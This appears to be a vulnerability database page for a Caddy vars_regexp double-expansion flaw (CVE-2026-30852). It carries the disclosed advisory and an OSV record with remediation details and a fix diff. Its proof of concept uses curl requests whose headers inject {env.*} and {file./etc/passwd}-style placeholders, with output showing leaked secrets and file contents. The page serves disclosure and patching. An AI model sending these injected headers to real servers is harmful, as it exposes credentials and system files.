Vulnerabilities in pkg:golang/github.com/caddyserver/caddy/v2/modules/caddyhttp

PACKAGE
Advisory Identifier: GHSA-m2w3-8f23-hxxf
Advisory Summary

CVE-2026-30852 is a MODERATE caddy's vars_regexp double-expands user input, vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Github.com/caddyserver/caddy/v2/modules/caddyhttp libraries in the Go ecosystem. The issue involves caddy's vars_regexp double-expands user input, leaking env vars and files. Remediation is available by upgrading affected packages to version 2.11.2.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/caddyserver/caddy/v2/modules/caddyhttp

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/caddyserver/caddy/v2/modules/caddyhttp. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-m2w3-8f23-hxxf CVE-2026-30852 MODERATE Caddy's vars_regexp double-expands user input, leaking env vars and files

CVE-2026-30852 at a Glance

CVE Identifier CVE-2026-30852
GHSA Identifier GHSA-m2w3-8f23-hxxf
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Github.com/caddyserver/caddy/v2/modules/caddyhttp
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-30852

To remediate this vulnerability, upgrade all affected Github.com/caddyserver/caddy/v2/modules/caddyhttp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/caddyserver/caddy/v2/modules/caddyhttp fixed: 2.11.2
Upgrade github.com/caddyserver/caddy/v2/modules/caddyhttp to 2.11.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/caddyserver/caddy/v2/modules/caddyhttp

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-30852, inspect your project dependencies for Github.com/caddyserver/caddy/v2/modules/caddyhttp:

inspect dependencies for github.com/caddyserver/caddy/v2/modules/caddyhttp

Analyze the terminal output to locate any version of Github.com/caddyserver/caddy/v2/modules/caddyhttp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Github.com/caddyserver/caddy/v2/modules/caddyhttp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `vars_regexp` matcher in `vars.go:337` double-expands user-controlled input through the Caddy replacer. When `vars_regexp` matches against a placeholder like `{http.request.header.X-Input}`, the header value gets resolved once (expected), then passed through `repl.ReplaceAll()` again (the bug). This means an attacker can put `{env.DATABASE_URL}` or `{file./etc/passwd}` in a request header and the server will evaluate it, leaking environment variables, file contents, and system info. `header_regexp` does NOT do this — it passes header values straight to `Match()`. So this is a code-level inconsistency, not intended behavior. ### Details The bug is at `modules/caddyhttp/vars.go`, line 337 in `MatchVarsRE.MatchWithError()`: ```go valExpanded := repl.ReplaceAll(varStr, "") if match := val.Match(valExpanded, repl); match { ``` When the key is a placeholder like `{http.request.header.X-Input}`, `repl.Get()` resolves it to the raw header value (first expansion, line 318). Then `repl.ReplaceAll()` runs on that value again (second expansion, line 337), which evaluates any `{env.*}`, `{file.*}`, `{system.*}` placeholders the user put in there. For comparison, `header_regexp` (`matchers.go:1129`) and `path_regexp` (`matchers.go:703`) both pass values directly to `Match()` without this second expansion. This `repl.ReplaceAll()` was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug. *Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:** Config with both matchers on the same server: ```json { "admin": {"disabled": true}, "apps": { "http": { "servers": { "srv0": { "listen": [":8080"], "routes": [ { "match": [{"path": ["/header_regexp"], "header_regexp": {"X-Input": {"name": "hdr", "pattern": ".+"}}}], "handle": [{"handler": "static_response", "body": "header_regexp: {http.regexp.hdr.0}"}] }, { "match": [{"path": ["/vars_regexp"], "vars_regexp": {"{http.request.header.X-Input}": {"name": "var", "pattern": ".+"}}}], "handle": [{"handler": "static_response", "body": "vars_regexp: {http.regexp.var.0}"}] } ] } } } } } ``` ``` $ export SECRET=supersecretvalue123 $ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp header_regexp: {env.HOME} # literal string, safe $ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp vars_regexp: /Users/test # expanded — env var leaked $ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp header_regexp: {env.SECRET} # literal string, safe $ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp vars_regexp: supersecretvalue123 # secret leaked $ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp header_regexp: {file./etc/hosts} # literal string, safe $ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp vars_regexp: ## # file contents leaked ``` ### PoC Save this as `config.json`: ```json { "admin": {"disabled": true}, "apps": { "http": { "servers": { "srv0": { "listen": [":8080"], "routes": [ { "match": [ { "vars_regexp": { "{http.request.header.X-Input}": { "name": "leak", "pattern": ".+" } } } ], "handle": [ { "handler": "static_response", "body": "Result: {http.regexp.leak.0}" } ] }, { "handle": [ { "handler": "static_response", "body": "No match", "status_code": "200" } ] } ] } } } } } ``` Start Caddy: ```bash export SECRET_API_KEY=sk-PRODUCTION-abcdef123456 caddy run --config config.json ``` Requests and output: ``` $ curl -v -H 'X-Input: hello' http://127.0.0.1:8080 * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: hello > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 13 < Leaked: hello ``` ``` $ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080 * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: {env.HOME} > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 20 < Leaked: /Users/test ``` ``` $ curl -v -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080 * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: {env.SECRET_API_KEY} > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 34 < Leaked: sk-PRODUCTION-abcdef123456 ``` ``` $ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080 * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: {file./etc/hosts} > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 10 < Leaked: ## ``` Also works with `{system.hostname}`, `{system.os}`, `{env.PATH}`, etc. Debug log (server starts clean, no errors): ``` {"level":"info","ts":1771456228.917303,"msg":"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined"} {"level":"info","ts":1771456228.917334,"msg":"GOMEMLIMIT is updated","GOMEMLIMIT":15461882265,"previous":9223372036854775807} {"level":"info","ts":1771456228.9173398,"msg":"using config from file","file":"config.json"} {"level":"warn","ts":1771456228.917349,"logger":"admin","msg":"admin endpoint disabled"} {"level":"info","ts":1771456228.917928,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0x340775faa300"} {"level":"warn","ts":1771456228.920725,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1771456228.920738,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1771456228.920741,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"info","ts":1771456228.9210382,"msg":"autosaved config (load with --resume flag)"} {"level":"info","ts":1771456228.921052,"msg":"serving initial configuration"} ``` ### Impact Information disclosure. An attacker can leak: - Environment variables (`{env.DATABASE_URL}`, `{env.AWS_SECRET_ACCESS_KEY}`, etc.) - File contents up to 1MB (`{file./etc/passwd}`, `{file./proc/self/environ}`) - System info (`{system.hostname}`, `{system.os}`, `{system.wd}`) Requires a config where `vars_regexp` matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since. Suggested one-line fix: ```diff --- a/modules/caddyhttp/vars.go +++ b/modules/caddyhttp/vars.go @@ -334,7 +334,7 @@ varStr = fmt.Sprintf("%v", vv) } - valExpanded := repl.ReplaceAll(varStr, "") + valExpanded := varStr if match := val.Match(valExpanded, repl); match { return match, nil } ``` This makes `vars_regexp` consistent with `header_regexp` and `path_regexp`. Placeholder key resolution (lines 315-318) is unaffected. Tested on latest main commit at `95941a71` (2026-02-17). **AI Disclosure:** Used Claude (Anthropic) during code review and testing. All findings verified manually.

CVE-2026-30852 Affected Github.com/caddyserver/caddy/v2/modules/caddyhttp Versions

1 component(s)
Fixed Versions:
2.11.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/caddyserver/caddy/v2/modules/caddyhttp
Go
≥ 2.7.5
< 2.11.2
2.11.2

References

Frequently Asked Questions

What is CVE-2026-30852?
CVE-2026-30852 is a security vulnerability in Github.com/caddyserver/caddy/v2/modules/caddyhttp involving Caddy's vars_regexp double-expands user input, leaking env vars and files under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Github.com/caddyserver/caddy/v2/modules/caddyhttp versions are affected?
Affected versions include releases prior to 2.11.2 across affected packages: github.com/caddyserver/caddy/v2/modules/caddyhttp.
What version fixes CVE-2026-30852?
Upgrading to 2.11.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/caddyserver/caddy/v2/modules/caddyhttp affected?
Yes, github.com/caddyserver/caddy/v2/modules/caddyhttp is affected in releases prior to 2.11.2. Upgrade your dependency to 2.11.2 or later.
What CWE is associated with CVE-2026-30852?
CVE-2026-30852 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check Go dependencies for CVE-2026-30852?
Run the dependency tree command: 'inspect dependencies for github.com/caddyserver/caddy/v2/modules/caddyhttp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m2w3-8f23-hxxf",
  "modified" : "2026-03-09T15:51:04Z",
  "published" : "2026-03-06T23:40:19Z",
  "aliases" : [ "CVE-2026-30852" ],
  "summary" : "Caddy's vars_regexp double-expands user input, leaking env vars and files",
  "details" : "### Summary\n\nThe `vars_regexp` matcher in `vars.go:337` double-expands user-controlled input through the Caddy replacer. When `vars_regexp` matches against a placeholder like `{http.request.header.X-Input}`, the header value gets resolved once (expected), then passed through `repl.ReplaceAll()` again (the bug). This means an attacker can put `{env.DATABASE_URL}` or `{file./etc/passwd}` in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.\n\n`header_regexp` does NOT do this — it passes header values straight to `Match()`. So this is a code-level inconsistency, not intended behavior.\n\n### Details\n\nThe bug is at `modules/caddyhttp/vars.go`, line 337 in `MatchVarsRE.MatchWithError()`:\n\n```go\nvalExpanded := repl.ReplaceAll(varStr, \"\")\nif match := val.Match(valExpanded, repl); match {\n```\n\nWhen the key is a placeholder like `{http.request.header.X-Input}`, `repl.Get()` resolves it to the raw header value (first expansion, line 318). Then `repl.ReplaceAll()` runs on that value again (second expansion, line 337), which evaluates any `{env.*}`, `{file.*}`, `{system.*}` placeholders the user put in there.\n\nFor comparison, `header_regexp` (`matchers.go:1129`) and `path_regexp` (`matchers.go:703`) both pass values directly to `Match()` without this second expansion.\n\nThis `repl.ReplaceAll()` was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.\n\n\n*Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:**\n\nConfig with both matchers on the same server:\n```json\n{\n  \"admin\": {\"disabled\": true},\n  \"apps\": {\n    \"http\": {\n      \"servers\": {\n        \"srv0\": {\n          \"listen\": [\":8080\"],\n          \"routes\": [\n            {\n              \"match\": [{\"path\": [\"/header_regexp\"], \"header_regexp\": {\"X-Input\": {\"name\": \"hdr\", \"pattern\": \".+\"}}}],\n              \"handle\": [{\"handler\": \"static_response\", \"body\": \"header_regexp: {http.regexp.hdr.0}\"}]\n            },\n            {\n              \"match\": [{\"path\": [\"/vars_regexp\"], \"vars_regexp\": {\"{http.request.header.X-Input}\": {\"name\": \"var\", \"pattern\": \".+\"}}}],\n              \"handle\": [{\"handler\": \"static_response\", \"body\": \"vars_regexp: {http.regexp.var.0}\"}]\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n```\n\n```\n$ export SECRET=supersecretvalue123\n\n$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {env.HOME}                           # literal string, safe\n\n$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: /Users/test                           # expanded — env var leaked\n\n$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {env.SECRET}                         # literal string, safe\n\n$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: supersecretvalue123                    # secret leaked\n\n$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {file./etc/hosts}                    # literal string, safe\n\n$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: ##                                     # file contents leaked\n```\n\n### PoC\n\nSave this as `config.json`:\n```json\n{\n  \"admin\": {\"disabled\": true},\n  \"apps\": {\n    \"http\": {\n      \"servers\": {\n        \"srv0\": {\n          \"listen\": [\":8080\"],\n          \"routes\": [\n            {\n              \"match\": [\n                {\n                  \"vars_regexp\": {\n                    \"{http.request.header.X-Input}\": {\n                      \"name\": \"leak\",\n                      \"pattern\": \".+\"\n                    }\n                  }\n                }\n              ],\n              \"handle\": [\n                {\n                  \"handler\": \"static_response\",\n                  \"body\": \"Result: {http.regexp.leak.0}\"\n                }\n              ]\n            },\n            {\n              \"handle\": [\n                {\n                  \"handler\": \"static_response\",\n                  \"body\": \"No match\",\n                  \"status_code\": \"200\"\n                }\n              ]\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n```\n\nStart Caddy:\n```bash\nexport SECRET_API_KEY=sk-PRODUCTION-abcdef123456\ncaddy run --config config.json\n```\n\nRequests and output:\n\n```\n$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: hello\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 13\n<\nLeaked: hello\n```\n\n```\n$ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {env.HOME}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 20\n<\nLeaked: /Users/test\n```\n\n```\n$ curl -v -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {env.SECRET_API_KEY}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 34\n<\nLeaked: sk-PRODUCTION-abcdef123456\n```\n\n```\n$ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {file./etc/hosts}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 10\n<\nLeaked: ##\n```\n\nAlso works with `{system.hostname}`, `{system.os}`, `{env.PATH}`, etc.\n\nDebug log (server starts clean, no errors):\n```\n{\"level\":\"info\",\"ts\":1771456228.917303,\"msg\":\"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1771456228.917334,\"msg\":\"GOMEMLIMIT is updated\",\"GOMEMLIMIT\":15461882265,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1771456228.9173398,\"msg\":\"using config from file\",\"file\":\"config.json\"}\n{\"level\":\"warn\",\"ts\":1771456228.917349,\"logger\":\"admin\",\"msg\":\"admin endpoint disabled\"}\n{\"level\":\"info\",\"ts\":1771456228.917928,\"logger\":\"tls.cache.maintenance\",\"msg\":\"started background certificate maintenance\",\"cache\":\"0x340775faa300\"}\n{\"level\":\"warn\",\"ts\":1771456228.920725,\"logger\":\"http\",\"msg\":\"HTTP/2 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"warn\",\"ts\":1771456228.920738,\"logger\":\"http\",\"msg\":\"HTTP/3 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"info\",\"ts\":1771456228.920741,\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"level\":\"info\",\"ts\":1771456228.9210382,\"msg\":\"autosaved config (load with --resume flag)\"}\n{\"level\":\"info\",\"ts\":1771456228.921052,\"msg\":\"serving initial configuration\"}\n```\n\n### Impact\n\nInformation disclosure. An attacker can leak:\n- Environment variables (`{env.DATABASE_URL}`, `{env.AWS_SECRET_ACCESS_KEY}`, etc.)\n- File contents up to 1MB (`{file./etc/passwd}`, `{file./proc/self/environ}`)\n- System info (`{system.hostname}`, `{system.os}`, `{system.wd}`)\n\nRequires a config where `vars_regexp` matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.\n\nSuggested one-line fix:\n```diff\n--- a/modules/caddyhttp/vars.go\n+++ b/modules/caddyhttp/vars.go\n@@ -334,7 +334,7 @@\n \t\t\tvarStr = fmt.Sprintf(\"%v\", vv)\n \t\t}\n\n-\t\tvalExpanded := repl.ReplaceAll(varStr, \"\")\n+\t\tvalExpanded := varStr\n \t\tif match := val.Match(valExpanded, repl); match {\n \t\t\treturn match, nil\n \t\t}\n```\n\nThis makes `vars_regexp` consistent with `header_regexp` and `path_regexp`. Placeholder key resolution (lines 315-318) is unaffected.\n\nTested on latest main commit at `95941a71` (2026-02-17).\n\n**AI Disclosure:** Used Claude (Anthropic) during code review and testing. All findings verified manually.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/caddyserver/caddy/v2/modules/caddyhttp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.7.5"
      }, {
        "fixed" : "2.11.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.11.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/caddyserver/caddy/security/advisories/GHSA-m2w3-8f23-hxxf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30852"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/caddyserver/caddy/pull/5408"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/caddyserver/caddy"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/caddyserver/caddy/releases/tag/v2.11.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-74" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-06T23:40:19Z",
    "nvd_published_at" : "2026-03-07T17:15:52Z"
  }
}